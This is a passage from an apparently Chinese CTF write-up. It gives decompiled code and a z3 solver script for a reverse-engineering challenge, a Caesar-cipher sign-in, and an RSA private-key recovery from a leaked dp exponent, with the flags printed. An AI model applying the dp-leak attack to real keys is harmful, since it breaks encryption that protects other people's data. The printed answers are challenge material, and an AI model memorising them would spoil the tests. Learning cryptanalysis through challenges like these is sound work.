ProcAddress 是 SetUnhandledExceptionFilter,跟进 sub_411177 找到判断逻辑:
bool __cdecl sub_411CE0(int a1)
{
  int m; // [esp+D0h] [ebp-44h]
  int k; // [esp+DCh] [ebp-38h]
  int j; // [esp+E8h] [ebp-2Ch]
  int v5; // [esp+F4h] [ebp-20h]
  int i; // [esp+100h] [ebp-14h]
  _DWORD *v7; // [esp+10Ch] [ebp-8h]

  v7 = malloc(0x8Cu);
  for ( i = 0; i < 35; ++i )
    v7[i] = 0;
  v5 = 0;
  for ( j = 0; j < 35; ++j )
  {
    if ( *(_BYTE *)(j + a1) != 'N' )
    {
      if ( *(_BYTE *)(j + a1) != 'Y' )
        return 0;
      for ( k = a[j]; k < b[j]; ++k )
        v7[k] += c[j];
      for ( m = 0; m < 35; ++m )
      {
        if ( (int)v7[m] > 150 )
          return 0;
      }
      v5 += c[j] * (b[j] - a[j]);
    }
  }
  return v5 == dword_41C040;
}
这里用 z3 来进行解题:
import z3

a = [2, 12, 26,
     20, 13,
     15, 11, 16,
     12, 12,
     15, 13, 19,
     10, 18,
     16, 1, 8,
     17, 25,
     24, 22, 24,
     24, 14,
     6, 5, 18,
     24, 5,
     6, 2, 1,
     13, 20,
     100]
b = [8, 22, 26,
     28, 24,
     28, 11, 18,
     18, 27,
     27, 24, 28,
     23, 24,
     25, 9, 15,
     24, 26,
     24, 23, 26,
     25, 23,
     16, 25, 29,
     30, 19,
     26, 23, 18,
     24, 29,
     200]
c = [13, 25, 13,
     46, 12,
     43, 42, 4,
     22, 46,
     22, 35, 36,
     12, 24,
     12, 48, 8,
     24, 29,
     41, 7, 15,
     6, 21,
     2, 30, 19,
     10, 33,
     38, 5, 22,
     19, 40,
     68, 101, 99, 105]

flagbool = [z3.Int(f"flagbool{i}") for i in range(35)]
v7 = [0] * 35
v5 = 0
# print(flagbool[0].eq("True"))
for i in range(len(flagbool)):
    # if z3.And(flagbool, True):
    for j in range(a[i], b[i]):
        v7[j] += c[i] * flagbool[i]
    v5 += c[i] * (b[i] - a[i]) * flagbool[i]
s = z3.Solver()
s.add(v5 == 3430)
for i in range(35):
    s.add(v7[i] <= 150)
    s.add(flagbool[i] <= 1)
    s.add(flagbool[i] >= 0)

print(s.check())
print(s.model())

 

Crypto

签到

凯撒密码,位移为 3
Flag:flag{2a2ab40b9b031723cca883b61c15fee0}

easyRSA

一道简单的 dp 泄露题目
import gmpy2
from Crypto.Util.number import *
e = 65537
n = gmpy2.mpz(101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227)
dp = gmpy2.mpz(1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673)
c = gmpy2.mpz(59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197)
for x in range(1, e):
    if(e*dp%x==1):
        p=(e*dp-1)//x+1
        if(n%p!=0):
            continue
        q=n//p
        phin=(p-1)*(q-1)
        d=gmpy2.invert(e, phin)
        m=gmpy2.powmod(c, d, n)
        if(len(hex(m)[2:])%2==1):
            continue
        print(long_to_bytes(m))
Flag:flag{38c60aa8ddcfb50afa3021f40f0acdac}
(完)